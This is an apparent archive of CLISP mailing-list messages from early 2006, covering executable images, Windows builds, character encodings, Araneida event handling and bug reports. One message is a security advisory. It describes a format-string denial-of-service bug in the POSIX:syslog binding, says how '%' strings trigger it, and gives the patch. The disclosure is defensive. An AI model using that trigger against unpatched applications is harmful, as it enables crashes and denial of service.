> > the size at the end of the marker solves the problem.
> 
> I don't think that windows will let an application open its own
> executable.

You can open it with read access, that's how my first patch worked.

> also, this would mean that an executable image saved from a running
> executable image will include _two_ images.

Sorry, I mixed some ideas, another idea: The marker string should be 

var char marker[32] = "my magic marker0               ";

In spvw.d the line to get the size should be changed to

runtime_size = atol(&marker[15])

If runtime_size is 0, no image is linked.

When building lisp.exe, filesize.c is not applied to the lisp.exe, but the
code in savemem.lisp works like this when called with the :executable flag:

- it checks the saved filesize at position 15 in the marker string in the
program file: If 0, then the filesize of the program is determined and the
new executable is written, with the new filesize included in the marker
string at position 15

- if the filesize is >0, only the first filesize bytes are written for the
new program, because this is a program, where an image was already appended

- then the mew image is appended

The advantages are:

- ":executable" works for stripped program files, too

- a program written with ":executable" can write itself again to a new
program file name

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Sam Steingold wrote:

>>Build mingw-version with gettext and readline?
> 
> 
> sure, please go ahead!
> 

clisp-2.37-win32-with-readline-and-gettext.zip upload to sf.net

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Hi,

on what systems is appending arbitrary binary junk to an executable actually supported (beside MS-Windows?).
I'm pretty sure it would not work on AmigaOS, where the binary is a structured file. Being able to append arbitrary junk smells like an open door to viruses - "hey here's an easy place to go, add 2KB and overwrite the first instruction of the .exe with a jmp" - sounds great!

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> on what systems is appending arbitrary binary junk to an 
> executable actually supported (beside MS-Windows?).
> I'm pretty sure it would not work on AmigaOS, where the 
> binary is a structured file. Being able to append arbitrary 
> junk smells like an open door to viruses - "hey here's an 
> easy place to go, add 2KB and overwrite the first instruction 
> of the .exe with a jmp" - sounds great!

The rest of the file is not loaded, so a virus can't jump to the end.

But you are right, after thinking again about it, it is a kind of a hack to
add the Lisp image at the end. A better idea would be to add it as a
standard .rsrc Resources section to the file (see e.g.
http://www.jps.at/pefile.html for details about the exe file format). When
integrating a resource compiler for CLISP, it would be possible to add other
standard resources, too, like the icon of the program, a VERSIONINFO entry
and other arbitrary application specific data.

This could be virtualized for other systems, because I'm sure on Linux the
ELF file format supports something similiar, too, and systems which doesn't
support it, could map the Windows resource functions just to single external
files for every resource.

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clisp from CVS head, mingw

*impnotes-root-default* set to "file:///C:/clisp-2.37/doc/impnotes.html"
*browser* set to :mozilla

[1]> (describe 'set-locale )
...
;; running ["c:/Program Files/mozilla.org/Mozilla/mozilla.exe"
 "file:///C:/clisp-2.37/doc/impnotes.htmlset-locale"
]...done
...


Popup message "File /C:/clisp-2.37/doc/impnotes.htmlset-locale not
found..." (without sharp)

if set *browser* to :default

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...
;; starting the default system browser with url
"file:///C:/clisp-2.37/doc/impnotes.htmlset-locale"...
*** - Win32 Error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
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On 2006 Jan 5, at 3:10 AM, Hoehle, Joerg-Cyril wrote:

> Hi,
>
> on what systems is appending arbitrary binary junk to an executable  
> actually supported (beside MS-Windows?).
> I'm pretty sure it would not work on AmigaOS, where the binary is a  
> structured file. Being able to append arbitrary junk smells like an  
> open door to viruses - "hey here's an easy place to go, add 2KB and  
> overwrite the first instruction of the .exe with a jmp" - sounds  
> great!
>
> Regards,
> 	Jorg Hohle.

That is why I love what Mac OS X has done with applications. They  
'look like' a single file, but they are really a hierarchical  
structure. "user preferences" might live in $HOME/Library/Preferences  
somewhere, but other than that, self-contained is the way to go.  
While I use Windows for work, I can't say I've ever gotten to like  
the add/remove programs stuff.

It would seem that the reality of cross-platform compatability in  
this regard (bundling up 'one executable application') just can't  
happen. The alternative is to do something platform-philic, and while  
I think that is unfortunate, I do think it is better than  
hack'n'slashing something together such as has been this thread's  
direction so far.

Just my buck two fitty,
		--Doug



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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2006-01-05 09:15:07 +0200]:
>
> clisp-2.37-win32-with-readline-and-gettext.zip upload to sf.net

thanks.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2006-01-05 11:19:28 +0200]:
>
> clisp from CVS head, mingw
>
> *impnotes-root-default* set to "file:///C:/clisp-2.37/doc/impnotes.html"
> *browser* set to :mozilla
>
> [1]> (describe 'set-locale )
> ...
> ;; running ["c:/Program Files/mozilla.org/Mozilla/mozilla.exe"
>  "file:///C:/clisp-2.37/doc/impnotes.htmlset-locale"
> ]...done
> ...
>
>
> Popup message "File /C:/clisp-2.37/doc/impnotes.htmlset-locale not
> found..." (without sharp)
>
> if set *browser* to :default
>
> [3]> (describe 'set-locale )
> ...
> ;; starting the default system browser with url
> "file:///C:/clisp-2.37/doc/impnotes.htmlset-locale"...
> *** - Win32 Error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the
> file specified.

fixed in the CVS, thanks.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2006-01-03 11:33:27 +0100]:
>
> When I mentioned this some years ago, Sam implemented
> ext:make-xterm-io-stream for UNIX. So there also, you can send i/o to
> separate windows. (In comparison, the xterm-io-stream looks a bit
> bare-bones: no scrollbars(ouch!), title not directly settable
> (presumably via some Escape-sequence, and easy to fix in the syscalls
> module), and unexpected output ("/dev/pts9") appears in it).

I just fixed this bug

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> clisp-2.37-win32-with-readline-and-gettext.zip upload to sf.net
>

Thanks to you.

However, I have a problem with event-hook under windows. While it
works on Windows, it appears not to honor (set-keyboard-input-timeout)
setting and gets called without any timeout, just eating all available
CPU cycles. I use it in REPL for handling Araneida requests and have
no cycles left is not good. It works fine in Linux.

I assume it is a readline bug, but before considering reporting it, I
would like to know what is the source of the readline5.dll, whether it
is latest version (it indicates 500, but 5.1 sources are release - but
it may be different under windows) and how it was compiled - pristine
sources or some Windows modifications to make it work?

Even better, is anyone using other application that uses
readline/event-hook under windows and observes similar behaviour?

Regards,
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Tomas Zellerin wrote:

>>clisp-2.37-win32-with-readline-and-gettext.zip upload to sf.net
>>
> 
> 
> Thanks to you.
> 
> However, I have a problem with event-hook under windows. While it
> works on Windows, it appears not to honor (set-keyboard-input-timeout)
> setting and gets called without any timeout, just eating all available
> CPU cycles. I use it in REPL for handling Araneida requests and have
> no cycles left is not good. It works fine in Linux.
> 
> I assume it is a readline bug, but before considering reporting it, I
> would like to know what is the source of the readline5.dll, whether it
> is latest version (it indicates 500, but 5.1 sources are release - but
> it may be different under windows) and how it was compiled - pristine
> sources or some Windows modifications to make it work?

This last binary distribution from gnuwin32.sf.net:
http://gnuwin32.sourceforge.net/packages/readline.htm

I shall try to build last version of readline with mingw, but
probability of failure is very high :(

Thanks!

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>
> This last binary distribution from gnuwin32.sf.net:
> http://gnuwin32.sourceforge.net/packages/readline.htm
>

Hello,

so it appears that the GnuWin32 project is the right place to file the
bug. The patch they have there appears to be touching the area.

Thanks,
Tomas


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Tomas Zellerin wrote:
>However, I have a problem with event-hook under windows. [...]
>I use it in REPL for handling Araneida requests and have
>no cycles left is not good. It works fine in Linux.

So it appears you have something similar in functionality to =
CMUCL/SBCL's serve-fd-event, with which people manage to run a server =
*and* have a REPL even when there are no threads.

Would you like to describe your setting? I'm sure many people are =
interested and don't know about this possibility with CLISP.  E.g. I =
recently came across the lispweb mailing list archives and Brian =
Mastenbrook mentioned on 2005-04-22 using sbcl the serve-event, which =
he supposed not possible with CLISP.
http://thread.gmane.org/gmane.lisp.web/525

Thanks a lot,
	J=F6rg H=F6hle.


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On 06/01/06, Hoehle, Joerg-Cyril <Joerg-Cyril.Hoehle@t-systems.com> wrote:
> Tomas Zellerin wrote:
> >However, I have a problem with event-hook under windows. [...]
> >I use it in REPL for handling Araneida requests and have
> >no cycles left is not good. It works fine in Linux.
>
> So it appears you have something similar in functionality to CMUCL/SBCL's=
 serve-fd-event, with which people manage to run a server *and* have a REPL=
 even when there are no threads.
>
> Would you like to describe your setting? I'm sure many people are interes=
ted and don't know about this possibility with CLISP.  E.g. I recently came=
 across the lispweb mailing list archives and Brian Mastenbrook mentioned o=
n 2005-04-22 using sbcl the serve-event, which he supposed not possible wit=
h CLISP.
> http://thread.gmane.org/gmane.lisp.web/525
>

I wanted to first clean it up a bit (proper #+ directives and testing
on windows) and post it somewhere, but so what, here it goes:

(in-package araneida)
;;;; this probably all should go to compat-clisp.lisp

(defun host-serve-events-once ()
  "Non-blocking one-shot duplicate of host-serve-events. Returns integer."
  (let ((just-sockets (mapcar #'car *fd-handlers*)))
     (progn
       (loop for i in *fd-handlers*
             for j in (socket:socket-status just-sockets 0)
             do (if j
                    (funcall (cdr i) (car i))))))
  0)

(defun convert-address (address)
  "Convert IP address to string."
  (etypecase address
     (string address)
     (vector (format nil "~{~d.~^~}" (map 'list #'identity address)))))

(defparameter *default-backlog* 10)
(defun host-make-listener-socket (address port)
  (socket:socket-server port :backlog *default-backlog* :interface
(convert-address address)))

;;;; example usage
(load #P"araneida-version-0.90.1/doc/example.lisp")
(in-package my-araneida-example)
(start-listening *listener*)
(setf readline:event-hook #'araneida::host-serve-events-once)

Comments:
- you can use either "127.0.0.1" and #(127 0 0 1) as parameter when
creating listener; araneida only passes it verbatim. As default is #()
form, the conversion is included
- you (certainly) need recent clisp - 2.36 for event-hook and 2.37 for
:backlog and :interface. I do not know how to best check for it.
- If you talk about same blog of Brian Mastenbrook as I saw, he spoke
not about repl and lisp, but about slime and lisp. Frankly, being vim
user (shame on me, I know), I have no idea whether readline is used
within slime setup.
- As the handling works "in repl", beware of naive attempt to connect
to web and do something from affected clisp itself - while the client
tries to run, server does not response.

Regards,
Tomas


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Hello,

is there any way how to specify element type of stream created by
(run-program ... :output :stream)? The stream is by default of
characters and I dont see any way how to change that, but certain
Windows programs (e.g., cscript) tend to produce 2 byte unicode. (setf
(stream-element-type '(unsigned-byte 16)) failed, and I can't find
better name for two byte characters

Regards,

Tomas


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Tomas Zellerin wrote:

> Hello,
> 
> is there any way how to specify element type of stream created by
> (run-program ... :output :stream)? The stream is by default of
> characters and I dont see any way how to change that, but certain
> Windows programs (e.g., cscript) tend to produce 2 byte unicode. (setf
> (stream-element-type '(unsigned-byte 16)) failed, and I can't find
> better name for two byte characters
> 

May be, set stream-element-type to character and set
STREAM-EXTERNAL-FORMAT to CHARSET:UNICODE-16?

Sorry if no :)

-- 
WBR, Yaroslav Kavenchuk.


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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2006-01-06 15:34:07 +0100]:
>
> is there any way how to specify element type of stream created by
> (run-program ... :output :stream)? The stream is by default of
> characters and I dont see any way how to change that, but certain
> Windows programs (e.g., cscript) tend to produce 2 byte unicode. (setf
> (stream-element-type '(unsigned-byte 16)) failed, and I can't find
> better name for two byte characters

so you want to read characters encoded with UNICODE-16 ?

(setf (stream-external-format my-stream) charset:unicode-16)

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On Fri, 2006-01-06 at 12:54 +0100, Hoehle, Joerg-Cyril wrote:
> Would you like to describe your setting? I'm sure many people are
interested and don't know about this possibility with CLISP.  E.g. I
recently came across the lispweb mailing list archives and Brian
Mastenbrook mentioned on 2005-04-22 using sbcl the serve-event, which he
supposed not possible with CLISP.
> http://thread.gmane.org/gmane.lisp.web/525

It is probably a solid case of overengineering, but I've been using
http://nocandysw.com/util for a while to connect multiple Emacs to a
single Swank.

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Hello everyone,

I'm a Master's student in computational linguistics at 
the University of Bergen, Norway.

I'm currently working on a project where I'm trying to 
semi-automatically generate a Norwegian-English/
English-Norwegian dictionary using plain text
files. At home I'm working on a Windows box with CLISP 
under Emacs.

My problem is this:

I want to read in lines of text from a source .txt-file, 
place selected lines as elements in an array, then manipulate 
the array, sort it etc. and then send the resulting elements 
back to a target .txt-file. Once I've used (read-line) and
placed the read line into the array, Norwegian characters are 
no longer displayed correctly, they appear as e.g. \206 
when I print. Here's some example code:

(defun arr-from-file (filename)
  (setf file-arr (make-array 2000))
  (setf path (make-pathname :name filename))
  (with-open-file (str path :direction :input)
		  (do ((line (read-line str)
			     (read-line str)))
		      ((equal line "[BODY]")))
		  (do ((box (read-box str)
			    (read-box str))
		       (count 0))
		      ((equal box 'eof))
		      (progn (setf (svref file-arr count) box)
			     (incf count)))))

(read-box) is a problem-specific function that's tailored 
to the format of the text files I'm using, it's basically 
just a specialised use of (read-line).

Could anyone help me? Is this a CLISP-problem? Or is the 
problem elsewhere? I also work on Solaris boxes with CMUCL 
at the university, and here characters are faithfully represented,
 whether I read, write or otherwise manipulate words/lines.

NB: I'm not super-computer-literate, so a "teaspoon answer" 
would be welcome.

Thanks a lot!

Best wishes,
Audun Rømcke








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--- Audun Rømcke <audunr@yahoo.com> wrote:

> Hello everyone,
> 
> I'm a Master's student in computational linguistics
> at 
> the University of Bergen, Norway.
> 
> I'm currently working on a project where I'm trying
> to 
> semi-automatically generate a Norwegian-English/
> English-Norwegian dictionary using plain text
> files. At home I'm working on a Windows box with
> CLISP 
> under Emacs.
> 
> My problem is this:
> 
> I want to read in lines of text from a source
> .txt-file, 
> place selected lines as elements in an array, then
> manipulate 
> the array, sort it etc. and then send the resulting
> elements 
> back to a target .txt-file. Once I've used
> (read-line) and
> placed the read line into the array, Norwegian
> characters are 
> no longer displayed correctly, they appear as e.g.
> \206 
> when I print. Here's some example code:
> 
> (defun arr-from-file (filename)
>   (setf file-arr (make-array 2000))
>   (setf path (make-pathname :name filename))
>   (with-open-file (str path :direction :input)
> 		  (do ((line (read-line str)
> 			     (read-line str)))
> 		      ((equal line "[BODY]")))
> 		  (do ((box (read-box str)
> 			    (read-box str))
> 		       (count 0))
> 		      ((equal box 'eof))
> 		      (progn (setf (svref file-arr count) box)
> 			     (incf count)))))
> 
> (read-box) is a problem-specific function that's
> tailored 
> to the format of the text files I'm using, it's
> basically 
> just a specialised use of (read-line).
> 
> Could anyone help me? Is this a CLISP-problem? Or is
> the 
> problem elsewhere? I also work on Solaris boxes with
> CMUCL 
> at the university, and here characters are
> faithfully represented,
>  whether I read, write or otherwise manipulate
> words/lines.
> 
> NB: I'm not super-computer-literate, so a "teaspoon
> answer" 
> would be welcome.
> 
> Thanks a lot!
> 
> Best wishes,
> Audun Rømcke
> 
> 
> 
> 
> 
> 
> 
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On Sat, 2006-01-07 at 21:29 +0000, Audun Rømcke wrote:
> I want to read in lines of text from a source .txt-file, 
> place selected lines as elements in an array, then manipulate 
> the array, sort it etc. and then send the resulting elements 
> back to a target .txt-file. Once I've used (read-line) and
> placed the read line into the array, Norwegian characters are 
> no longer displayed correctly, they appear as e.g. \206 
> when I print.

Check out the values of CUSTOM:*DEFAULT-FILE-ENCODING* to see how CLISP
is reading your file, and CUSTOM:*TERMINAL-ENCODING* to see how it is
printing to your REPL buffer.  In your Emacs REPL buffer, do

M-: (process-coding-system (get-buffer-process (current-buffer)))

to see what the Emacs "terminal" is (reading . writing) characters as.
It is most likely that the Emacs buffer-file-coding-system is not set to
understand CLISP's character output; you can change it to match with C-x
<RET> p.

If you're using SLIME, contacting the slime-devel <at> common-lisp.net
list will yield better results.

> Could anyone help me? Is this a CLISP-problem? Or is the 
> problem elsewhere? I also work on Solaris boxes with CMUCL 
> at the university, and here characters are faithfully represented,
>  whether I read, write or otherwise manipulate words/lines.

That could be an accident of terminal representation, since IIRC CMUCL's
non-Latin-1 encoding support isn't as thorough as CLISP's.

-- 
Stephen Compall
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Audun Rømcke writes:
> I want to read in lines of text from a source .txt-file, 
> place selected lines as elements in an array, then manipulate 
> the array, sort it etc. and then send the resulting elements 
> back to a target .txt-file. Once I've used (read-line) and
> placed the read line into the array, Norwegian characters are 
> no longer displayed correctly, they appear as e.g. \206 
> when I print. Here's some example code:
> 
> (defun arr-from-file (filename)
>   (setf file-arr (make-array 2000))
>   (setf path (make-pathname :name filename))
>   (with-open-file (str path :direction :input)

You need to specify the encoding used to read the file:

   (with-open-file (str path :direction :input
                     :external-format (ext:make-encoding :charset charset:????
                                                         :line-termination ????))


and the encoding used to print to the terminal:

(setf CUSTOM:*TERMINAL-ENCODING* (ext:make-encoding :charset charset:????
                                                    :line-termination ????))


Substitute the ???? by one of the symbols described in:

http://www.podval.org/~sds/clisp/impnotes/encoding.html

For example, if the file is in UTF-8 with LF as line terminator, and
the terminal is a MS-DOS terminal with codepage 850:


  (setf CUSTOM:*TERMINAL-ENCODING* (ext:make-encoding :charset charset:cp850
                                                      :line-termination :dos))

  (with-open-file (str path :direction :input
                   :external-format (ext:make-encoding :charset charset:utf-8
                                                      :line-termination :unix))
     (ignore-errors (loop (princ (read-line)) (terpri))))


> Could anyone help me? 

Yes.


> Is this a CLISP-problem? 

Probably not.


> Or is the  problem elsewhere? 

The main problem is to know what encoding is used for the file and
what encoding is used for the terminal.

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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-01-08 00:28:35 +0100]:
>
> http://www.podval.org/~sds/clisp/impnotes/encoding.html

if you are using the official release, you should stay with the official
documentation at http://clisp.cons.org/impnotes/encoding.html



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can anyone confirm this bug report?
https://sourceforge.net/tracker/?func=detail&atid=101355&aid=1399376&group_id=1355
SF CF mac os x is down, but NetBSD appears to work.
thanks!

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Hello people,

thanks a lot for the info! I changed everything to explicitly work with 8859-1, 
and now it works like a charm! Great forum here. Thanks for taking time to help 
out a newbie...

All the best,
Audun





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On 2006 Jan 7, at 8:39 PM, Sam Steingold wrote:

> can anyone confirm this bug report?
> https://sourceforge.net/tracker/? 
> func=detail&atid=101355&aid=1399376&group_id=1355
> SF CF mac os x is down, but NetBSD appears to work.
> thanks!

Yes, I can confirm that bug. A few days ago I built 2.37. Everything  
went find, but the make check failed.
The failure I saw was that SOCKET-SERVER failed. And it failed when I  
ran it from the REPL.
However, I hadn't yet tracked down what it was, and since I rejoined  
the CLISP lists as a result of the 2.37 announcement, I was also  
waiting until I had a chance to check the archives to see if this was  
a known/temporary issue with Mac OS X.
Yesterday I applied the patch and did an incremental rebuild (i.e. I  
did NOT wipe and build fresh), and voila! the tests all pass and  
socket-server works for me from the REPL.
For the record, I'm on a 1.5GHz powerbook running system 10.4.3
I believe I am at the latest version of the Apple dev. tools. GCC  
version is:
% gcc --version
powerpc-apple-darwin8-gcc-4.0.0 (GCC) 4.0.0 20041026 (Apple Computer,  
Inc. build 4061)
Copyright (C) 2004 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There  
is NO
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PURPOSE.



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> * Douglas Philips <qtbh@znp.pbz> [2006-01-08 10:04:00 -0500]:
>
> On 2006 Jan 7, at 8:39 PM, Sam Steingold wrote:
>
>> can anyone confirm this bug report?
>> https://sourceforge.net/tracker/?
>> func=detail&atid=101355&aid=1399376&group_id=1355
>> SF CF mac os x is down, but NetBSD appears to work.
>> thanks!
>
> Yes, I can confirm that bug. A few days ago I built 2.37. Everything
> went find, but the make check failed.

thanks!

Now, I would like to find out if this is something recent or has been
there all along.

could you please try the test file on some older version of clisp?
(socket.tst is a recent addition, this is probably the reason this has
not been reported before.)

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Date: Mon Jan  9 01:51:05 2006
X-Original-Date: Mon, 9 Jan 2006 10:49:49 +0100

Tomas Zellerin wrote:
>- If you talk about same blog of Brian Mastenbrook as I saw, he spoke
>not about repl and lisp, but about slime and lisp.=20
Oops, important difference indeed.

>I wanted to first clean it up a bit
>(setf readline:event-hook #'araneida::host-serve-events-once)
Ah, thanks.
I thought about it (just a little bit) and I think that in the clisp =
case, this trick can not work for slime either.
It might work if somebody writes a wrapper around an arbitrary i+o =
stream that does sort of an async read, or instead of a read(), a =
select/poll() on all currently streams this wrapper knows about.

Apparently, Araneida was written in a way such that it can work in such =
a setting (host-serve-events-once seems to mean that).
Then, when the clisp or slime REPL READs input (from either =
*terminal-io* or a socket-stream), other streams may get a change to =
get called.

Regards,
	J=F6rg H=F6hle.


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Date: Mon Jan  9 02:32:02 2006
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Hi,

a bug involving the POSIX:syslog function in the syscalls module has =
been fixed in the CVS of the CLISP source code.
This bug fixes a stack overflow and DoS vulnerability in the software.
The vulnerability could be triggered by sending strings containing '%' =
characters to the syslog facility, which would try to interpret these =
and cause unspecified behaviour.

This bug can affect your applications if it supplies POSIX:syslog with =
unchecked strings (e.g. an URL within a web-server application).
CLISP itself does not use this function, it just provides the binding.
Note that not all distributions of CLISP contain this module.  =
Generally, it is only present when starting the FULL image (clisp -K =
full).  Try
clisp --version or (ext:module-info) to know which modules are present.

The patch is trivial: please change
syslog(priority, msg) to syslog(priority,"%s",msg); in file
modules/syscalls/calls.c and recompile if your software is affected by =
this security issue.

The functionality of the syscalls module is now as follows:
(POSIX:SYSLOG severity facility format &rest args)
will cause (apply #'format nil format args) to be sent to the syslog =
facility. No sprintf-style '%' conversion will occur.  All formatting =
is done on the Lisp side.

Who or what application actually uses this function binding?

Monday, the 9th January of 2006,
	J=F6rg H=F6hle


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Date: Mon Jan  9 09:26:01 2006
X-Original-Date: Mon, 9 Jan 2006 18:24:44 +0100

Hi,

One year ago, clisp announced that it had lifted the 1:1 restriction on =
acceptable encodings for custom:*foreign-encoding*.  I've mentioned =
bogus behaviour sometimes but never looked at the details.
I now reviewed the code.  Sadly, support for non-1:1 encodings is =
incomplete at best (if not to say bogus).
The good news is that C-strlen compatible encodings are mostly =
supported. strlen-compatible means that a single terminating 0 byte =
means "end of string".
UTF-8 falls in this category. UTF-16 obviously does not.

Here's an implementation summary:
8bit: means use *foreign-8bit-encoding*
\0 only with 1-byte end-marker compatible encodings
1=3D1: errors out if varying length (e.g. use of Umlauts in UTF-8)

convert			from			to	foreign:
character			8bit			8bit
c-string			\0			appends single \0
c-array character N	ok (N bytes)	1=3D1
c-array character N M	?			?
c-array-max character	\0			appends single \0
c-array-ptr character	\0			appends single \0

In addition, UTF-16 adds the BOM (FF FE on i386) prefix, which causes
the length calculation and buffer contents to be different from what =
one would naively think.
Note that you can convert "=E4" to foreign using UTF-8 and (c-array =
character 2), because 2 bytes are generated for =E4.

As you can see, I did not look in depth at all combinations.  However =
it appears clearly that the current code still embeds the assumption =
that a single \0 is good enough as a terminator.  This is not generally =
so.

To enhance the situation,
a) encoding-zeroes needs to be used internally, everywhere. This is a =
function that returns the number of 0 terminator bytes (e.g. 1 for =
ASCII of UTF-8, 2 for UTF-16).  As a result, several functions need be =
rewritten.

b) there should be some public discussion on the meaning of the types =
(c-array character N).  What does N mean in the presence of =
multibyte-encodings?
Note that for arbitrary encodings, N as number of characters is =
unlikely to make sense.  IMHO only bytes make sense.  But what would =
users manipulating only UTF-16 think about a count in bytes?

c) discuss whether it's worth the effort and complexity, or to maintain =
the status quo except for a few noteworthy exceptions, e.g. introduce =
WSTRING or similar types for UTF-16. The advantage of this approach is =
that (c-array wchar N) could sync again the number of characters with =
N.

d) is a global variable custom:*foreign-encoding* (well, it's not even =
a variable, don't bind it expect per ext:letf!) make sense at all to =
control arbitrary (selectable) conversions?
I'd hate code systematically using letf custom:*foreign-encoding* ... =
just to be sure it's getting the correct conversion.
However, experience tells that's unlikely to happen, like almost nobody =
ensures that *print-base* has the required value (try setting the =
standard CL special variables to non-standard values and see Lisp =
packages fail...).
IMHO, globals are the wrong tool for control.

Maybe (c-array charset:ascii N) should be invented?
Or (c-array #.charset:ascii N)?
But what about non-constant conversions?

Regards,
	J=F6rg H=F6hle.


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Hello,

How can I get CORBA to work with GNU clisp?

Thanks,
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Sam Steingold <sds@gnu.org> wrote:

>could you please add CLISP to the "exits" list on the SWIG page?

Done.

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Hi,

i am trying to add a new module to clisp. I succeeded with that some
weeks ago, and tried to reproduce what i did with clisp2.36 on cygwin
(gcc version 3.4.4 if it matters). On step 4 of the HOWTO example
(http://clisp.sourceforge.net/impnotes.html#mod-set-example) i got
some error messages:

 ./clisp-link add-module-set kivcparser base base+kivcparser
make: Nothing to be done for `clisp-module'.
gcc -I/usr/local/libsigsegv-cygwin/include -W -Wswitch -Wcomment -Wpointer-=
arith
 -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fex=
pensi
ve-optimizations -DUNICODE -DDYNAMIC_FFI -I. -I/lib/clisp/linkkit -c module=
s.c
In file included from modules.d:12:
/lib/clisp/linkkit/clisp.h:670: warning: register used for two global regis=
ter v
ariables
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissin=
g-dec
larations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAM=
IC_FF
I -I. -x none modules.o win32-grammar.o kivcparser.o -lm readline.o -lreadl=
ine -
lncurses regexi.o regex.o calls.o -lcrypt -luser32 -lole32 -loleaut32 -luui=
d get
text.o lisp.a -lintl libcharset.a libavcall.a libcallback.a -lreadline -lnc=
urses
 -liconv -L/usr/local/libsigsegv-cygwin/lib -lsigsegv -o lisp.exe
Info: resolving _rl_line_buffer by linking to __imp__rl_line_buffer (auto-i=
mport
)
Info: resolving _rl_point by linking to __imp__rl_point (auto-import)
Info: resolving _rl_end by linking to __imp__rl_end (auto-import)
Info: resolving _rl_mark by linking to __imp__rl_mark (auto-import)
Info: resolving _rl_done by linking to __imp__rl_done (auto-import)
Info: resolving _rl_num_chars_to_read by linking to __imp__rl_num_chars_to_=
read
(auto-import)
[..]
kivcparser.o:kivcparser.c:(.text+0x95): undefined reference to `_convert_to=
_
foreign_nomalloc'
kivcparser.o:kivcparser.c:(.text+0x14b): undefined reference to `_convert_t=
o_for
eign_nomalloc'
kivcparser.o:kivcparser.c:(.text+0x1fb): undefined reference to `_convert_t=
o_for
eign_nomalloc'
kivcparser.o:kivcparser.c:(.text+0x2ab): undefined reference to `_convert_t=
o_for
eign_nomalloc'
kivcparser.o:kivcparser.c:(.text+0x375): undefined reference to `_convert_t=
o_for
eign_nomalloc'
kivcparser.o:kivcparser.c:(.text+0x444): more undefined references to `_con=
vert_
to_foreign_nomalloc' follow
)
Info: resolving _rl_readline_state by linking to __imp__rl_readline_state (=
auto-
import)
Info: resolving _rl_completion_entry_function by linking to __imp__rl_compl=
etion
_entry_function (auto-import)
Info: resolving _rl_attempted_completion_function by linking to __imp__rl_a=
ttemp
ted_completion_function (auto-import)
[...]

convert_to_nomalloc is used a dozen times in the file kivcparser.c, in
kivcparser.c only clisp.h is included, do i need to include anything
else?

thank you
Dimitrios


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When I run the following code in my version of clisp (see below for  
version details)


> (in-package common-lisp-user)
>
> (let ((working (user-homedir-pathname)))
>   (with-open-file (s (make-pathname
>                       :name "talk"
>                       :type "tome"
>                       :defaults working)
>                      :if-exists :append
>                      :if-does-not-exist :create
>                      :direction :output)
>     (format s "~%Hello"))
>
>   (with-open-file (s (make-pathname
>                       :name "talk"
>                       :type "tome"
>                       :defaults working)
>                      :if-exists :append
>                      :if-does-not-exist :create
>                      :direction :output)
>     (format s "~%Goodbye")))
>

The file created looks like this (using od -c)


> [billy-pilgrim:~] gwking% od -c talk.tome
> 0000000   \0  \0  \0  \0  \0  \0  \n   G   o   o   d   b   y   e
> 0000016
>

My clisp version information:


> [billy-pilgrim:~] gwking% clisp --version
> GNU CLISP 2.37 (2006-01-02) (built on billy-pilgrim.local [10.0.1.5])
> Software: GNU C 4.0.1 (Apple Computer, Inc. build 5247)
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type - 
> Wmissing-declarations -Wno-sign-compare -O2 -DUNIX_BINARY_DISTRIB - 
> DUNICODE -I. -L/opt/local/lib -L/opt/local/lib  -x none -lintl - 
> liconv -lc  -Wl,-framework -Wl,CoreFoundation libcharset.a - 
> lreadline -lncurses  -liconv -L/opt/local/lib -lsigsegv -lc -L/usr/ 
> X11R6/lib -lX11
> SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS  
> SPVW_MIXED TRIVIALMAP_MEMORY
> libiconv 1.10
> Features:
> (REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON- 
> LISP LISP=CL INTERPRETER
> SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN GETTEXT UNICODE  
> BASE-CHAR=CHARACTER UNIX
> MACOS)
> C Modules: (clisp i18n syscalls regexp)
> Installation directory: /opt/local/lib/clisp/
> User language: ENGLISH
> Machine: POWER MACINTOSH (POWER MACINTOSH) billy-pilgrim.local  
> [192.168.2.4]
>

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> * Gary King <tjxvat@zrgnonat.pbz> [2006-01-11 22:22:34 -0500]:
>
>> [billy-pilgrim:~] gwking% od -c talk.tome
>> 0000000   \0  \0  \0  \0  \0  \0  \n   G   o   o   d   b   y   e
>> 0000016
>>
>
> Any help or pointers appreciated.

http://sourceforge.net/tracker/index.php?func=detail&aid=1399709&group_id=1355&atid=101355

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workaround: :buffered :nil
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Thank you!

On Jan 12, 2006, at 9:41 AM, Sam Steingold wrote:

> workaround: :buffered :nil
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> non-smoking section in a restaurant == non-peeing section in a  
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Sam Steingold <sds <at> gnu.org> writes:

> 
> > * Jeff Bowman <jbyswo <at> ovtsbbg.pbz> [2005-12-27 23:15:48 -0600]:
> >
> > I have run apt-get install libpq-dev which installs header files into
> > /usr/include/postgresql. However, it seems that directory is not being
> > included in the search for headers. I have also tried setting the
> > INCLUDES environment variable to /usr/include/postgresql to no avail.
> 
> I think that postgresql is normally installed as follows:
> 
> /usr/include/postgres_ext.h
> /usr/include/libpq-fe.h
> /usr/include/pg*.h
> /usr/include/postgresql/*
> /usr/include/libpq/*
> 
> where is your postgres_ext.h?
> 

First, apologies for the late response. I never saw this message until browsing
the list from the link on clisp.cons.org (ie in gmane). 

Second, my email address seems to be garbled

> > * Jeff Bowman <jbyswo <at> ovtsbbg.pbz> [2005-12-27 23:15:48 -0600]:

should be: Jeff Bowman <wolfjb <at> bigfoot.com>, I usually digitally sign my
emails, so I wonder if that contributed to this issue.

On to the point, on my debian unstable computer, libpq-dev installs all of the
postgres include files in /usr/include/postgresql. My postgres_ext.h is in that
directory.

Thanks for your response.

Jeff





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Date: Thu Jan 12 08:03:04 2006
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I need to build a version of clisp with oracle support on windows. I
downloaded and install MinGW, msys and msysDTK (all at current levels
rather than candidate or previous as much as possible).

I tried to build clisp from cvs with this command line from the oracle
section of the impnotes:

./configure --without-readline \
--with-dynamic-ffi \
